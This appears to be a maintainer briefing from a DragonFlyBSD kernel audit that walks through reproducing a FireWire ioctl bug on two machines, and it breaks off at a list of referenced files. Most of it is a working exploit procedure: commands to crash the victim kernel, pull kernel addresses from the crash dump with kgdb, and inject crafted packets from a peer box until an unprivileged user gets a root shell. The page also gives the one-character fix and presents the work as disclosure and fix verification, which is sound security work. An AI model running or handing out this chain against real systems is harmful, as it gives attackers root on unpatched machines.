โฌข DragonFlyBSD Kernel Audit
โ† maintainer briefing

DF-5845 field test โ€” two DragonFly boxes and a FireWire cable

Who this is for: you have two DragonFly machines with FireWire ports, a cable between them, and about an hour. Everything below was validated end-to-end on a stock DragonFly 6.5 kernel in our test rig (uid=0 achieved, patched kernel proven clean, packets byte-verified). The only part that cannot be validated without your hardware is the FireWire controller itself โ€” this page tells you exactly what to expect at each step and what to send back if anything differs.

What the bug is, in one paragraph: the FireWire ioctl FW_ASYREQ has a one-character typo in the kernel (fwdev.c:561). It copies your ioctl data to the address of a pointer field instead of to where the pointer points. So 44 bytes you choose are written over the tail of a live kernel object. A second step turns that into root: the same typo lets the kernel's response copy for that transaction be redirected โ€” so a FireWire response packet sent by the other machine is copied, 640 bytes at a time, into kernel memory you choose. The test drives that write onto neighboring objects so the stack itself calls a small credential-zeroing routine, and the user becomes root. The fix is to delete one &.

Read once before starting. Stage A below crashes the victim machine on purpose โ€” that is the pass condition. Use test boxes: a crash with unsaved work or a dirty filesystem is on you. The full chain (Stage B) corrupts kernel memory deliberately; if a step goes wrong it panics and reboots. Nothing here touches the peer machine's userspace.

The two machines

RoleMachineState at test time
VICTIMDragonFly 6.x, stock kernel, FireWire port Stock. Gets attacked. Will crash in Stage A (expected).
PEERyour second DragonFly box Kernel rebuilt with the one-line fix (Step 2). Sends the response packets. The fix is required: a stock peer feeding it crafted packets would trip the same bug on itself.

The kit lives in the audit bundle at findings/poc/DF-5845/hwkit/ โ€” copy that directory to both boxes (e.g. /root/hwkit). Full technical detail, including alternative modes and troubleshooting beyond this page: hwkit/RUNBOOK.md.

Step 1 โ€” victim prep (10 min)

kldload firewire
dmesg | grep -i fwohci        # expect: fwohci0: <...> on pciN
ls -l /dev/fw0.0              # expect: crw-rw---- root operator
sysctl debug.debugger_on_panic=0
pw useradd -n opuser -m -G operator -w none

cd /root/hwkit && make df5845_hw fwpeer_df offsets_hw fwpeer_linux
./offsets_hw

offsets_hw prints a structure offset table. On 6.5-DEVELOPMENT x86_64 the first lines must read off_devclass_devices 48 ... off_xfer_sendpayload 80. If they differ, stop and send us the output โ€” the weapon constants need adjusting for your build.

Step 2 โ€” peer prep (30 min, mostly build time)

# on the PEER box:
cd /usr/src
patch -p1 < /root/hwkit/fix.diff          # the one-character fix
make -j4 nativekernel && make installkernel
reboot
# after reboot:
kldload firewire
dmesg | grep -i fwohci
cd /root/hwkit && make fwpeer_df fwpeer_linux

Cable the two boxes (point-to-point, no hubs). On both, run fwcontrol -d or check dmesg | tail for FWBUSCOMPLETION. Note each machine's node id from the self-ID lines โ€” you will pass the PEER's node id to the weapon.

Step 3 โ€” wire check (Stage 0, no attack)

On the peer, in one terminal:

./fwpeer_linux --listen /dev/fw0

On the victim, as the test user:

su - opuser -c '/root/hwkit/df5845_hw --stage-a --peer-node <peer-id>'

Pass: the peer terminal prints a request within a second, e.g. REQUEST #0 tcode=1 (write block) len=0. If nothing arrives, the cable/node ids are wrong โ€” see RUNBOOK ยง7.

Step 4 โ€” Stage A: prove the bug (near-certain, this is the money shot)

Same as Step 3 but with the fault variant โ€” the 44-byte overwrite plants an unmapped pointer, and the peer answers with a perfectly legal response:

# peer, same terminal still in --listen, now answering:
./fwpeer_linux --respond /dev/fw0

# victim:
su - opuser -c '/root/hwkit/df5845_hw --stage-a-fault --peer-node <peer-id>'

Pass: the victim console shows Fatal trap 12: page fault with a backtrace through fw_ioctl (the response copy at fwdev.c:583 dereferenced the planted pointer), and the box dumps and reboots. That crash is the bug, reproduced on your hardware with a stock peer and zero address knowledge. Save the console output and the crash dump โ€” you need the dump for Step 5.

Then prove the fix: apply fix.diff to the victim's /usr/src, rebuild, reboot (Step 2 procedure), and re-run Stage A. Pass: no crash โ€” the ioctl returns an error or clean timeout. That pair of results (crash before, clean after) is the complete, self-contained verification of the finding and its fix. If you stop here, the test has already served its purpose.

Step 5 โ€” harvest the two constants (from the Stage A crash dump)

The full chain needs two kernel addresses (the heap chunk the weapon will land at, and the FireWire softc). DragonFly has no KASLR and the driver's allocation order repeats across boots on an idle box, so addresses read from your Stage A dump predict the next boot:

kgdb /boot/kernel/kernel /var/crash/vmcore.last
(kgdb) p firewire_devclass
(kgdb) p ((struct devclass *)<val>)->devices[0]
(kgdb) p ((struct bsd_device *)<val>)->softc
(kgdb) p ((struct firewire_softc *)<val>)->fc        # note as FC
# parked xfer pair from the faulted attempt (tlabel from dmesg
# "fw_get_tlabel" lines, or try the listed labels):
(kgdb) p ((struct firewire_comm *)<FC>)->tlabels[<label>].tqh_first->xfer

Write gdb.conf next to the weapon:

s_addr <parked-xfer-address>
fc     <FC>
peer_node   <peer-id>
victim_node <victim-id>

Step 6 โ€” Stage B: the full chain to root

On the victim (fresh boot, Stage A fault already done its job), as the test user:

su - opuser -c '/root/hwkit/df5845_hw --mode gdb --conf gdb.conf --peer-node <peer-id>'

It prints its plan, posts the two requests 100 ms apart, and writes /tmp/df5845hw.forge.conf. The peer must inject in that window (the kernel gives up on unanswered transactions after 200 ms), so pre-build the packets and fire on the second REQUEST:

# peer, BEFORE the weapon runs:
./fwpeer_linux --make-df-packet --conf /tmp/df5845hw.forge.conf \
      --out /root/pk --tl-s <tl-of-first-request> --tl-v <tl-of-second>
# watch for the two REQUEST lines, then immediately:
./fwpeer_df /root/pk/sresp.bin 1
./fwpeer_df /root/pk/vresp.bin 1

Pass: within ~2 seconds the weapon prints

DF5845HW[gdb]: ioctls done s_rc=-1(22) v_rc=-1(35) uid=0
DF5845HW-CHAIN-WON: uid=0 euid=0
uid=0(root) ... egid=0(wheel)

and the file /root/df5845.pwned exists, owned root. You now have a root shell as opuser.

No win but no crash? The chunk addresses shifted โ€” re-harvest from a fresh dump and retry (RUNBOOK ยง4). Random panic? Reboot and re-harvest; never re-run after a missed write without rebooting.

What to send back

Drop into hwkit/validation/ and mail the bundle:

Files referenced by this page